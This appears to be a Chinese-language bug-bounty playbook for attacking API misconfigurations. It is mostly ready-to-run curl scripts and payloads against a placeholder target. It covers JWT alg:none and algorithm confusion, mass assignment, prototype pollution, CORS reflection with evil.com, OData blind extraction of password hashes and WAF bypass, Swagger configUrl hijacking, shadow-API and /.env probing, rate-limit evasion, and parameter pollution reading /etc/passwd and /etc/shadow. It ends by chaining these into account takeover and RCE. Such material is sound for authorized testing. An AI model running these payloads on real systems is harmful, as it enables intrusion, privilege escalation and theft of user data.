hunt-api-misconfig

12. API 安全配置错误

批量赋值

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None 算法

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 算法混淆

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

原型污染

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

CORS 利用

# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

---

OData $filter / $select / $expand WAF 黑名单绕过（2024-2026 年攻击面）

OData（开放数据协议）是 SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori，以及任何使用 Microsoft.AspNetCore.OData 的 ASP.NET WebAPI 项目背后的查询层。它提供类似 SQL 的查询运算符（eq、ne、and、or、substringof、startswith、tolower、concat、replace），看起来像 SQL，但实际上并非 SQL——这意味着采用关键词黑名单的 WAF 在处理 OData 流量时常常会放行恶意请求。

攻击类别 1——通过 startswith / substringof 进行布尔逻辑盲提取

GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')

逐个字符迭代前缀；响应数量（或 @odata.count）就是确认前缀是否正确的布尔判断依据。无需 SQLi 引擎，也不需要 '/-- 字符——WAF 看到的只有合法的 OData 关键词。2023 年 12 月提取了 Microsoft Dynamics 365 / Power Apps Portals 中的 密码哈希、姓名、电子邮件、地址、财务数据；Microsoft 于 2024 年 5 月修补了该问题。（Stratus Security 漏洞分析，The Hacker News 2025 年 1 月报道）

攻击类别 2——$orderby / $select 列信息泄露绕过

GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname

$orderby 可接受用户没有 $select 权限的列名，但引擎仍会按这些列排序——返回结果的顺序会泄露受保护列的信息。列级 ACL 仅在投影（$select）上强制执行，在 $orderby / $filter 上却不执行——同一受保护列，不同的代码路径。这是 Stratus 在同一 Dynamics 365 信息泄露事件中发现的第二个问题；据 Stratus 称，“比第一个更危险，因为它会直接返回数据”。

攻击类别 3——$batch multipart/mixed → 逐请求 WAF 签名无法检测子操作

POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--

只扫描外层请求正文（或无法原生解析 multipart/mixed）的 WAF 会跳过所有内部操作。ModSecurity 过去会拒绝 multipart/mixed（Issue #3296）；F5 直到 Advanced WAF v16.1 才添加原生批处理解析功能（F5 SAP-Fiori 公告）。2025 年的 WAFFLED 论文（arXiv 2503.10846）将这种解析差异绕过攻击扩展到了 5 款主流 WAF。

攻击类别 4——编码 / 非规范运算符 → 绕过关键词黑名单

GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style

大小写混杂的运算符（Eq、EQ）和不常见运算符（substringof、tolower、concat、replace）看起来不像 SELECT/UNION，因此 SQLi 关键词签名不会触发。只匹配字面字符串 $filter 的 WAF 无法识别这两种形式，但 OData 服务端会在计算谓词之前对两者进行规范化。自 Kalra 在 2012 年 Black Hat AD 会议上记录以来，这类问题便已有所记载；这是典型的 OData 与 WAF 不兼容问题。（OWASP 双重编码）

攻击类别 5——当库将筛选条件原样传递时，OData → 真正的 SQLi

$filter=Name eq 'x'); DROP TABLE Users--'

仅当 OData 层使用字符串拼接构造 SQL，而不是使用 LINQ 时才会触发。相关问题记录在 OData/WebApi Issue #2352 中。XML 反序列化变体：CVE-2019-17554（Apache Olingo OData 4.0.0-4.6.0，可通过 application/xml 正文中的 <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> 触发 XXE，CVSS 7.5）。DoS 变体：CVE-2018-8269（Microsoft.Data.OData 对深层 $filter 递归处理导致栈溢出）。

额外内容 — $expand 导航属性 IDOR

GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))

授权装饰器应用于顶层实体集；引擎沿导航属性联接时，不会重新检查被联接实体的 ACL。根本原因与 2021 年 PowerApps Portals 泄露 3,800 万条记录的事件相同（UpGuard 事件分析）。

检测启发式

• 响应头：OData-Version: 4.0 / DataServiceVersion: 3.0；URL 路径 /_api/、/odata/、/_vti_bin/、/api/data/v9.x/、/sap/opu/odata/。
• 尝试访问 $metadata → 如果无需身份验证即可访问，完整架构（实体集、导航属性、函数导入）就尽在掌握。
• 使用 $filter=1 eq 1、$top=1、$select=* 探测每个实体集，然后尝试 $orderby=<column-you-shouldnt-see> 检查列级 ACL。
• 通过 $filter=、%24filter=、%2524filter= 三种方式发送相同载荷，并通过 $batch 发送 — WAF 行为不一致即可确认存在解析器差异漏洞。

---

NSwag / Swagger / OpenAPI 规范暴露（2024-2026 攻击面）

NSwag 是 ASP.NET Core 的 Swagger/OpenAPI 工具链。许多 .NET 6/7/8 项目默认启用 /swagger、/swagger/v1/swagger.json、/swagger/index.html 路由，开发者也常常忘记在生产环境中关闭它们。暴露的规范会泄露每个端点、HTTP 方法、参数名称 + 类型 + 格式 + 最大长度、模型、验证规则 — 以 JSON 格式呈现的完整攻击地图。

默认发现路径（交叉引用 web2-recon）

# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json

# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json

# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources

# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json

# Quarkus
/q/openapi, /q/swagger-ui

# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager

工具：kiterunner 原生支持 OpenAPI；sj（Swagger Jacker）、apidetector、XSSwagger。

攻击链

A. 规范泄露 → 大规模 IDOR / BOLA。 规范列出所有 GET /api/v1/users/{userId}/...。运行 jq '.paths | keys' swagger.json → 通过 Autorize/ffuf -mc 200 将 {userId} 替换为受害者的 ID。常见情况：规范泄露了 /api/admin/users/{id}/reset-password，文档中有记录，但控制器缺少 [Authorize(Roles="Admin")] — 导致低权限账户接管（ATO）。

B. 规范泄露 → 构造大规模赋值载荷。 components.schemas.UserUpdateDto 列出模型的每个字段，包括 isAdmin、emailVerified、tenantId、role。攻击者将架构原样复制到 PATCH /users/me，并添加特权字段。如果 DTO 未拆分为读写模型，服务器的 [FromBody] 绑定器就会接受这些字段。

C. 隐藏端点。 规范记录了 /internal/*、/debug/*、/v0/*、/legacy/* 等路由，前端 UI 未引用这些路由。这些路由可以访问，但未被 WAF 规则覆盖，而且常常在身份验证审查中被忽略。

D. Swagger UI 的 configUrl 接管。 Swagger UI 会通过 ?configUrl= 加载配置。如果未进行清理，攻击者可托管恶意 OpenAPI 规范，并向受害者发送指向合法 Swagger UI 的链接，附带 ?configUrl=https://evil/spec.json。规范路由指回合法源站，因此受害者点击“Try It Out”时，会触发同源的已认证请求。（HackerOne #3124103 — 美国国防部 Swagger UI 注入，2025 年 5 月）

已披露案例

• CVE-2018-25031 — Swagger UI ≤ 4.1.2 可通过 URL 参数注入规范；广泛影响 org.webjars:swagger-ui（嵌入在 Swashbuckle 和 NSwag 软件包中）。
• Swagger UI DOM XSS（3.14.1 → 3.38.0） — 过时的内置 DOMPurify 与远程规范加载相结合，可在受害者浏览器中执行任意 JS（Vidoc Security Lab 文章，PortSwigger Daily Swig）。据报告，PayPal、Atlassian、Microsoft、GitLab 和 Yahoo 均存在此问题。
• HackerOne #3124103 — 美国国防部，Swagger UI 注入（2025 年 5 月）。
• HackerOne #2534300 — Ionity GmbH，Swagger UI 中的 HTML 注入。
• HackerOne #1656650 — 通过 Swagger UI url= 参数进行反射型 XSS。
• CloudSEK 威胁情报（2024） — 攻击者滥用暴露的 swagger-ui 调用已验证企业的 WhatsApp 发送消息端点，冒充公司向其客户发送消息。据撰写本文时的统计，Shodan 上有 6,000 多个暴露的 Swagger UI 实例。（CloudSEK 报告）
• CVE-2023-38337 — rswag（Ruby Swagger 工具链）目录遍历漏洞——提醒我们规范端点本身也是攻击面。

检测清单

1. 使用 httpx-probe 探测上述所有路径，覆盖完整子域集合；筛选状态码为 200、Content-Type: application/json 且正文匹配 "swagger" 或 "openapi" 的结果。
2. 对每个命中项执行：jq '.paths | keys' swagger.json → 将结果交给 kiterunner / Autorize。
3. 执行 jq '.components.schemas' swagger.json → 获取批量赋值字段候选项。
4. 检查 Swagger UI HTML 中的版本字符串；对照 CVE-2018-25031 / DOM-XSS 表。
5. 对每个命中的 Swagger UI 测试 ?configUrl= 和 ?url= 参数的处理方式。

影子 API 发现

影子 API 是未公开记录、被遗忘或已停用但仍可访问的 API 端点。 它们通常缺少身份验证、速率限制或安全审查。

发现方法：

A. 常见影子 API 路径

# Probe commonly forgotten endpoints:
for path in \
  /api/swagger.json /api/v1/docs /api/v2/docs /api/v3/docs \
  /graphql /graphiql /playground /altair /voyager \
  /internal /internal/api /internal/health /internal/debug \
  /debug /debug/api /debug/health /debug/pprof \
  /api/health /api/status /api/ping /api/version \
  /api/v0 /api/legacy /api/old /api/beta /api/dev /api/test \
  /api/admin /api/internal /api/partner /api/vendor \
  /.env /.env.example /config.json /settings.json /configuration \
  /api/.env /api/config /api/settings \
  /actuator /actuator/health /actuator/info /actuator/env \
  /api-docs /api-docs.json /api-docs.yaml \
  /openapi.json /openapi.yaml; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$path")
  [[ "$code" != "404" && "$code" != "000" ]] && echo "$code $path"
done

B. 版本枚举（版本差异发现）

# The current app uses /api/v2 — test v1, v3, v4, v0:
for v in v0 v1 v2 v3 v4 v5 beta dev staging; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} " "https://target.com/api/$v/users"
  echo "/api/$v/users"
done

C. 对已发现端点进行 HTTP 方法枚举

# For each discovered path, test all HTTP methods:
curl --max-time 30 --connect-timeout 10 -X OPTIONS -s -D- "https://target.com/api/some-endpoint" 2>/dev/null | grep -i allow
# Also test: PATCH, PUT, POST, DELETE, CONNECT, TRACE, HEAD

D. 将 GraphQL 内省用于影子 API 发现

# Even if /graphql is known, its schema may reveal undocumented mutations/fields:
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name fields { name } } } }"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print('\n'.join(t['name'] for t in d.get('data',{}).get('__schema',{}).get('types',[]) if not t['name'].startswith('__')))" \
  | grep -iE "admin|internal|debug|test|secret|token|key|migrate|backup|reset|bypass|override|dev|beta"

攻击链：

• 影子 API + 无身份验证 = 无需身份验证即可访问所有端点
• 影子 API + 较弱的身份验证 = 通过未公开记录的参数实现 IDOR / 权限提升
• 影子 API + 调试模式 = 堆栈跟踪、源映射、连接字符串
• GraphQL 影子字段 = 可重置用户密码或提升权限的变更操作

通过别名绕过速率限制

如果单个请求可以携带 N 个逻辑操作，速率限制就毫无意义。以下是 3 种已验证的绕过方式：

A. HTTP/2 流多路复用

# Open single HTTP/2 connection, send N requests on N streams in one TCP write.
# Server's rate limiter counts per-TCP-connection, not per-stream — all N pass.
curl --max-time 30 --connect-timeout 10 --http2 -s --parallel --parallel-max 30 \
  -H "Cookie: session=xxx" \
  -w "%{http_code}\n" -o /dev/null \
  "https://target.com/api/endpoint?param={1..30}"

B. 滥用批量操作

许多 API 支持接受数组的批量操作：

# Instead of 1 item per request (rate-limited at 10/min), batch 100 items in 1 request:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/users/batch" \
  -H "Content-Type: application/json" \
  -d '{"users": [{"email": "[email protected]"}, {"email": "[email protected]"}, ...]}'
# If batch endpoint uses a separate rate limit or no limit → bypass

C. API 密钥轮换

# Register multiple API keys / accounts, rotate across them:
for key in "key1" "key2" "key3" "key4" "key5"; do
  curl --max-time 30 --connect-timeout 10 -s -H "X-API-Key: *** "https://target.com/api/resource"
done
# For JWT-based APIs, request multiple short-lived tokens from different sessions

D. 轮换 X-Forwarded-For IP

# If rate limiter keys on client IP from X-Forwarded-For:
for ip in $(seq 1 50); do
  curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-For: 10.0.0.$ip" "https://target.com/api/resource" &
done
wait

E. 基于 GraphQL 别名的批处理（1 个请求中执行 N 个操作）

curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { '"$(for i in $(seq 1 100); do echo -n "a$i: user(id:$i) { email } "; done)"' }"}'
# 100 data-fetch operations in a single request bypasses per-request rate limits

API 参数污染

注入重复、冲突或意外参数，以绕过验证或改变行为。

A. HTTP 参数污染（HPP）

# Duplicate params — server may accept first, last, or concatenate:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&id=3"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&role=user&role=admin"
# Test different separators:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2"  # standard
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id[]=1&id[]=2"  # PHP array syntax
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users[?id=1,2]"  # Rails array

B. JSON 参数污染

# Duplicate keys in JSON — server may use last value:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","email":"[email protected]","role":"user","role":"admin"}'

# Nested parameter injection:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","settings":{"role":"admin"},"role":"admin"}'

C. HTTP 方法覆盖

# Bypass method-level ACLs by overriding:
curl --max-time 30 --connect-timeout 10 -X GET "https://target.com/api/admin/users" \
  -H "X-HTTP-Method: DELETE" \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "X-Method-Override: DELETE"

# POST with overridden method:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/admin/users" \
  -H "X-HTTP-Method-Override: DELETE"

D. Content-Type 混淆

# Send JSON payload with URL-encoded Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d '{"role":"admin","is_admin":true}'
# Some parsers accept JSON content from form-urlencoded type

# XML injection via alternative Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
  -H "Content-Type: application/xml" \
  -d '<user><role>admin</role><is_admin>true</is_admin></user>'

E. 通过参数污染进行路径遍历

# API that constructs file paths from user parameters:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/export?format=pdf&format=../../etc/passwd"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/template?name=report&name=../../../etc/shadow"

检测脚本：

# Quick pollution probe across discovered endpoints:
for endpoint in /api/users /api/profile /api/admin /api/v2/users; do
  for pollute in \
    "?id=1&id=2" \
    "?role=user&role=admin" \
    "[email protected]&[email protected]"; do
    resp1=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$endpoint$pollute")
    resp2=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://target.com$endpoint$(echo $pollute | cut -d'&' -f1)")
    [[ "$resp1" != "$resp2" ]] && echo "POLLUTION SENSITIVE: $endpoint $pollute → $resp1 vs single → $resp2"
  done
done

---

验证

运行以下自测，确认已准备好检测 API 配置错误：

1. 批量赋值探测 — 测试基本字段注入：

   curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin may be down, syntax is correct)"
   

2. JWT alg:none 测试 — 验证 JWT 操纵工具：

   python3 -c "
   import base64,json
   header=base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
   payload=base64.urlsafe_b64encode(json.dumps({'sub':1,'role':'admin'}).encode()).rstrip(b'=').decode()
   token=f'{header}.{payload}.'
   print(f'Generated alg=none token ({len(token)} chars)')
   " && echo "PASS: Python3 JWT generation works" || echo "FAIL: Python3 unavailable"
   

3. 原型污染探测 — 验证 JSON 解析是否处理 proto：

   python3 -c "
   import json
   payload='{"__proto__":{"isAdmin":true},"user":"test"}'
   d=json.loads(payload)
   print('PASS: __proto__ key parsed' if '__proto__' in d else 'FAIL')
   " 2>/dev/null || echo "FAIL"
   

4. HTTP 动词篡改 — 确认 OPTIONS 是否会显示允许的方法：

   curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/post" -D - -o /dev/null 2>/dev/null | grep -i "allow:" && echo "PASS: OPTIONS probe works" || echo "(httpbin may be down)"
   

全部 4 项测试用于验证核心 API 配置错误探测能力。

---

陷阱

• 无副作用的批量赋值 — 发送 {is_admin:true} 并收到 200 响应，并不能证明该字段已生效。请读取配置文件，确认提升后的值仍然存在。
• 仅在测试服务器上使用 JWT alg:none — 许多生产环境 JWKS 端点会强制执行算法校验。请使用实际的生产令牌端点进行测试，而不是 localhost。
• 没有可利用入口的原型污染 — 污染 __proto__ 并不能证明任何问题，除非你能触达某个利用点（RCE 入口、XSS 入口，或通过被污染的比较逻辑绕过身份验证）。请将污染与具体可利用的副作用对应起来。
• 只读端点上的 HTTP 方法篡改 — 在只读端点上通过 GET 绕过 CSRF 并不可利用。需要找到接受 GET 的状态变更操作（POST/PUT/DELETE）。
• CORS 误区 — 没有凭据时，Access-Control-Allow-Origin: * 不可利用。只有来源反射与凭据结合时才会造成问题。
• 通过别名标头绕过速率限制 — X-Forwarded-For: 127.0.0.1 可能绕过速率限制，但也可能绕过地理限制和基于 IP 的身份验证。请测试这两种结果。
• 不同端口/基础路径上的影子 API — 生产 API 的 /api/v2/ 可能受到保护，而同一主机上的 /api/ 却没有。务必探测旧版/未版本化路径。
• PDO 仿真预处理语句崩溃 ≠ RCE — 畸形多字节输入导致 502，可以证实启用了仿真预处理语句，但不能证明可利用性。还需要完整的反序列化/注入链。

---

相关技能与攻击链

阶段 X — PDO 仿真预处理语句风险

PHP 的 PDO 驱动模式 PDO::ATTR_EMULATE_PREPARES => true 会强制在客户端重写查询，而不是使用原生 DBMS 预处理语句。虽然有时确有必要（兼容 PgBouncer、旧版 DB 驱动），但此模式会：

1. 将不可信输入传递给 C 级字符串函数（strncat、strcpy），这些函数会在 NUL 字节处截断
2. 依赖驱动端转义（而非服务端参数绑定）——单引号处理出错就会导致 SQLi
3. 在收到畸形多字节输入时导致 PHP 进程崩溃（空指针解引用，CVE-2025-14180）

# Detect emulated prepares: force an invalid multibyte sequence
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/checkout" \
  -H "Content-Type: application/json" \
  -d '{"product_id":101,"notes":"alice\x99"}'
# If server returns 502/connection-reset instead of 400 → likely emulated prepares crash

启用仿真预处理语句时，应将所有用户输入都视为可能无法安全处理二进制数据。对于内部使用 strncat() 的驱动，即使使用 PDO::quote() + PDO::prepare() 也不安全。

• hunt-ato — 在注册/个人资料功能上进行批量赋值，是最快获得管理员权限的途径。攻击链原语：API 批量赋值 + hunt-ato → 注册时设置 role=admin → 首次登录时利用特权角色实现 ATO。
• hunt-auth-bypass — JWT 缺陷会使整个身份验证层失效。攻击链原语：JWT alg=none + hunt-auth-bypass → 将 sub 设为受害者 ID，即可冒充任意用户，无需签名。
• hunt-rce — Node.js 依赖项（lodash、mongoose、jQuery）中的原型污染利用点可触达 child_process.spawn。攻击链原语：原型污染（__proto__.shell=true）+ hunt-rce（Node.js 利用链）→ 在 API 节点上实现 RCE。
• hunt-subdomain — 带通配符子域名的 CORS 正则会信任可被接管的主机。攻击链原语：CORS 允许列表 *.target.com + 子域名接管 → 攻击者控制的来源读取带凭据的 API 响应。
• security-arsenal — 加载 JWT 攻击载荷部分（alg=none、kid 路径遍历、JWK 注入、嵌入式 JWK）和批量赋值字段词表（is_admin、role、verified、permissions、org_id、tenant_id）。
• triage-validation — 应用 Server-Policy-vs-State 判定标准：仅有宽松的 CORS 标头属于信息性问题；报告前必须证明能够跨来源读取带凭据的敏感数据。